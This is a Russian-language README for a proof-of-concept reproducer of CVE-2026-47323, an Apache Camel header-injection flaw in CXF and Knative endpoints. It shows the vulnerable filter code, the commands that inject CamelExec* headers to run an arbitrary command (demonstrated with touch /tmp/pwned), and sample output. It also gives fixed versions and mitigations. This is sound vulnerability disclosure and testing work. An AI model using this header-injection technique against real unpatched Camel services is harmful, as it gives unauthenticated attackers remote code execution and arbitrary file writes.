
Репродуктор для CVE-2026-47323: в Apache Camel (CXF/Knative) в HeaderFilterStrategy отсутствует фильтрация входящих заголовков, что позволяет осуществить инъекцию управляющих заголовков Camel (RCE через camel-exec) через конечные точки CXF-RS/CXF-SOAP/Knative (исправлено в 4.14.6/4.18.2/4.19.0)
Этот проект демонстрирует инъекцию заголовков сообщений в стратегиях фильтрации HTTP-заголовков CXF и Knative в Apache Camel, известную как CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) и KnativeHttpHeaderFilterStrategy (camel-knative-http) фильтруют только исходящие внутренние заголовки Camel (setOutFilterStartsWith), не настраивая входящую фильтрацию (setInFilterStartsWith). В результате неаутентифицированный злоумышленник может внедрить внутренние заголовки Camel (например, CamelExecCommandExecutable, CamelFileName) через HTTP-запросы к конечным точкам CXF-RS или CXF-SOAP. Когда маршрут пересылает сообщения от этих конечных точек к компонентам, управляемым заголовками, таким как camel-exec или camel-file, внедрённые заголовки переопределяют сконфигурированные значения — что обеспечивает удалённое выполнение кода или произвольную запись файлов.
В этом PoC используется поверхность CXF-RS (JAX-RS): внедрённый CamelExecCommandExecutable превращает безобидный echo в произвольное выполнение команд.
Уведомление о безопасности: https://camel.apache.org/security/CVE-2026-47323.html
| Свойство | Значение |
|---|---|
| Компонент | camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| CWE | CWE-20: Некорректная проверка входных данных |
| Воздействие | Внедрение управляющих заголовков Camel через HTTP-запрос → переопределение нижестоящего управляемого заголовками производителя → RCE (camel-exec) или произвольная запись файлов (camel-file) |
| Предварительные условия | Конечная точка CXF-RS / CXF-SOAP / Knative, пересылающая сообщения управляемому заголовками производителю; неаутентифицированный, когда конечная точка |
| Затронутые версии | С 3.18.0 до 4.14.6, с 4.15.0 до 4.18.2, 4.19.0 (исправлено в 4.19.0) |
| Исправленные версии | 4.14.6, 4.18.2, 4.19.0 |
| Автор | Quac Tran |
Этот репродуктор фиксирует camel 4.18.1 — последний затронутый релиз в ветке 4.18.x (исправление вышло в 4.18.2). Тот же паттерн, что и в camel-undertow (CVE-2025-30177), более широком фильтре входящих заголовков (CVE-2025-27636, CVE-2025-29891) и не-HTTP стратегиях (CVE-2026-40453).
// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)
// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
|| entry.getValue().isEmpty()) {
// dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
} else {
camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- injected header lands here
}
}
Исправление (4.14.6 / 4.18.2 / 4.19.0) добавляет setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) в эти стратегии, поэтому входящие заголовки Camel* / camel* отбрасываются.
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
.to("exec:echo?args=hello") // the author's fixed, harmless command
.setBody(constant("ok\n"));
Конечная точка JAX-RS (GET /service/api/ping), запросы к которой передаются фиксированной shell-команде. Производитель camel-exec отдаёт предпочтение входящему заголовку CamelExecCommandExecutable перед сконфигурированным echo.
Всё работает в одном автономном приложении: конечная точка CXF-RS, приёмник camel-exec и драйвер атаки.
CVE-2026-47323/
├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── ApiResource.java # JAX-RS contract: GET /api/ping
│ ├── VictimRoute.java # cxfrs consumer -> exec:echo
│ └── ExploitController.java # attacker: GET /ping with injected CamelExec* headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned # created by the injected command
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
marker before: false
=== 1) Legitimate request (no injected headers) ===
response: ok
marker created: false
=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
response: ok
marker created: true
>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true
Любой маршрут, который пересылает сообщения от конечной точки CXF-RS, CXF-SOAP или Knative-HTTP управляемому заголовками производителю. Помимо CamelExecCommandExecutable (RCE через camel-exec), CamelFileName позволяет произвольно записывать файлы через camel-file, а другие управляющие заголовки Camel* могут управлять другими производителями.
Обновитесь до 4.14.6 / 4.18.2 / 4.19.0. Затронутые стратегии после этого настраивают setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH), отбрасывая входящие заголовки Camel*.
До обновления удаляйте управляющие заголовки Camel из входящих сообщений перед любым нижестоящим производителем (.removeHeaders("Camel*") и .removeHeaders("camel*") в начале маршрута) и требуйте аутентификацию на конечной точке CXF / Knative.
Этот репродуктор предоставляется только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.